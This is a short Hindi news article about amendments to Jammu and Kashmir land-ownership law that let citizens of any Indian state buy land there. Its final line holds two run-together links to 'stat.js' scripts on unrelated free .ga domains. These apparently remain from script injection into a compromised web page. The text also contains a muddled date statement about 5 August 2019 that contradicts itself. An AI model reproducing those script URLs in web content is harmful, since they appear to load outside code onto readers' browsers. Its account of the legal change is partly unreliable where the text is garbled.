भारत के अलग अलग राज्यों में रहने वाले लोग यह सोच रहे है की काश स्वर्ग जैसे खूबसूरत जगह कश्मीर में भी उनका घर होता, तो अगर आप भी उन सोचने वालों में से एक हैं तो आपका सपना पूरा होने का वक्त आ चुका है क्योंकि केंद्र सरकार ने जम्मू कश्मीर में भूमि स्वामित्व अधिनियम संबंधी कानूनों में संशोधन कर दिया है जिससे देश का कोई भी नागरिक अब जम्मू-कश्मीर में अपने मकान दुकान और कारोबार के लिए जमीन खरीद सकता है जमीन खरीदने के लिए अब कोई भी पाबंदी नहीं लगाई जाएगी।
जम्मू कश्मीर पुनर्गठन अधिनियम के तहत राज्य के केंद्र शासित प्रदेश रूप में पुनर्गठित होने वाली पहली सालगिरह से 4 दिन पहले केंद्र सरकार का यह फैसला आया है 5 अगस्त 2019 से जम्मू कश्मीर राज्य की अपनी एक अलग संवैधानिक व्यवस्था थी जिसमें सिर्फ जम्मू कश्मीर का स्थाई निवासी हैं जिनके पास राज्य द्वारा स्थाई नागरिकता प्रमाण पत्र था वही जमीन खरीद सकते थी लेकिन इसके पहले अपने देश के किसी भी राज्य के नागरिक जम्मू कश्मीर में अपने मकान, दुकान ,कारोबार और खेती-बाड़ी के लिए जमीन नहीं खरीद सकता था।
जम्मू कश्मीर का स्थाई निवास सिर्फ कुछ कानूनी औपचारिकताओं को पूरा कर के पट्टे के आधार पर जमीन खरीद लेता था। केंद्र शासित प्रदेश जम्मू कश्मीर का संविधान और कानून समाप्त होने के बावजूद भूमि स्वमित्व अधिनियम संबंधी कानून में आवश्यक सुधार पर संशोधन की प्रक्रिया का अंतिम रूप दे नहीं दिया गया था लेकिन बीते शाम को केंद्रीय गृह सचिव ने इसकी अधिसूचना जारी कर दी। सुचना में बताया गया की बिना किसी मुश्किल के अब किसी भी राज्य के निवासी जम्मू कश्मीर में अपने कारोबार और घर बनवाने के लिए जमीन खरीद सकते है ।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms